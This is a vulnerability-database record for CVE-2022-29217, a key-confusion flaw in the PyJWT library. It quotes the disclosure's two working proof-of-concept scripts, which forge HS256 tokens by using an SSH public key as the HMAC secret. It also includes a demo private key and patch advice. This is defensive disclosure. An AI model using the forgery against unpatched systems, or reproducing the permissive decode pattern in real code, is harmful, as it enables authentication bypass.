{"id":"CVE-2022-29217","aliases":["GHSA-ffqj-6fqr-9h24","PYSEC-2022-202"],"url":"https://o3.security/vulnerability/CVE-2022-29217","summary":"Key confusion through non-blocklisted public key formats in PyJWT","details":"### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nDisclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).\n\n> PyJWT supports multiple different JWT signing algorithms. With JWT, an \n> attacker submitting the JWT token can choose the used signing algorithm.\n> \n> The PyJWT library requires that the application chooses what algorithms \n> are supported. The application can specify \n> \"jwt.algorithms.get_default_algorithms()\" to get support for all \n> algorithms. They can also specify a single one of them (which is the \n> usual use case if calling jwt.decode directly. However, if calling \n> jwt.decode in a helper function, all algorithms might be enabled.)\n> \n> For example, if the user chooses \"none\" algorithm and the JWT checker \n> supports that, there will be no signature checking. This is a common \n> security issue with some JWT implementations.\n> \n> PyJWT combats this by requiring that the if the \"none\" algorithm is \n> used, the key has to be empty. As the key is given by the application \n> running the checker, attacker cannot force \"none\" cipher to be used.\n> \n> Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is \n> not a public key meant for asymmetric algorithm i.e. HMAC cannot be used \n> if the key begins with \"ssh-rsa\". If HMAC is used with a public key, the \n> attacker can just use the publicly known public key to sign the token \n> and the checker would use the same key to verify.\n> \n>  From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. \n> With ed25519, PyJWT supports public keys that start with \"ssh-\", for \n> example \"ssh-ed25519\".\n\n```python\nimport jwt\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import ed25519\n\n# Generate ed25519 private key\nprivate_key = ed25519.Ed25519PrivateKey.generate()\n\n# Get private key bytes as they would be stored in a file\npriv_key_bytes = \nprivate_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, \nencryption_algorithm=serialization.NoEncryption())\n\n# Get public key bytes as they would be stored in a file\npub_key_bytes = \nprivate_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)\n\n# Making a good jwt token that should work by signing it with the \nprivate key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"EdDSA\")\n\n# Using HMAC with the public key to trick the receiver to think that the \npublic key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, pub_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, pub_key_bytes, \nalgorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n     print(\"POC Successfull\")\n\n# Of course the receiver should specify ed25519 algorithm to be used if \nthey specify ed25519 public key. However, if other algorithms are used, \nthe POC does not work\n# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py\n#\n#        invalid_strings = [\n#            b\"-----BEGIN PUBLIC KEY-----\",\n#            b\"-----BEGIN CERTIFICATE-----\",\n#            b\"-----BEGIN RSA PUBLIC KEY-----\",\n#            b\"ssh-rsa\",\n#        ]\n#\n# However, OKPAlgorithm (ed25519) accepts the following in \njwt/algorithms.py:\n#\n#                if \"-----BEGIN PUBLIC\" in str_key:\n#                    return load_pem_public_key(key)\n#                if \"-----BEGIN PRIVATE\" in str_key:\n#                    return load_pem_private_key(key, password=None)\n#                if str_key[0:4] == \"ssh-\":\n#                    return load_ssh_public_key(key)\n#\n# These should most likely made to match each other to prevent this behavior\n```\n\n\n```python\nimport jwt\n\n#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem\n#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem\n#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub\n\npriv_key_bytes = b\"\"\"-----BEGIN EC PRIVATE KEY-----\nMHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49\nAwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk\nAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END EC PRIVATE KEY-----\"\"\"\n\npub_key_bytes = b\"\"\"-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL\nZr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==\n-----END PUBLIC KEY-----\"\"\"\n\nssh_key_bytes = b\"\"\"ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc=\"\"\"\n\n# Making a good jwt token that should work by signing it with the private key\nencoded_good = jwt.encode({\"test\": 1234}, priv_key_bytes, algorithm=\"ES256\")\n\n# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret\nencoded_bad = jwt.encode({\"test\": 1234}, ssh_key_bytes, algorithm=\"HS256\")\n\n# Both of the jwt tokens are validated as valid\ndecoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\ndecoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())\n\nif decoded_good == decoded_bad:\n    print(\"POC Successfull\")\nelse:\n    print(\"POC Failed\")\n```\n\n> The issue is not that big as \n> algorithms=jwt.algorithms.get_default_algorithms() has to be used. \n> However, with quick googling, this seems to be used in some cases at \n> least in some minor projects.\n\n### Patches\n\nUsers should upgrade to v2.4.0.\n\n### Workarounds\n\nAlways be explicit with the algorithms that are accepted and expected when decoding.\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/jpadilla/pyjwt\n* Email José Padilla: pyjwt at jpadilla dot com\n","published":"2022-05-24T14:10:10Z","modified":"2026-08-12T03:51:09.516220488Z","cvss":{"score":7.4,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"},"epss":{"score":0.01355,"percentile":0.6999,"asOf":"2026-09-11"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"pyjwt","fixedVersion":"2.4.0"}],"fix":{"url":"https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc","label":"jpadilla/pyjwt@9c52867"},"references":[{"type":"WEB","url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/risky-algorithms-algorithm-confusion-in-pyjwt-cve-2022-29217"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/29xxx/CVE-2022-29217.json"},{"type":"ADVISORY","url":"https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24"},{"type":"ADVISORY","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX/"},{"type":"ADVISORY","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO/"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-29217"},{"type":"FIX","url":"https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc"},{"type":"PACKAGE","url":"https://github.com/jpadilla/pyjwt"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2022-202.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5PK7IQCBVNLYJEFTPHBBPFP72H4WUFNX"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6HIYEYZRQEP6QTHT3EHH3RGFYJIHIMAO"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:09.516220488Z"}}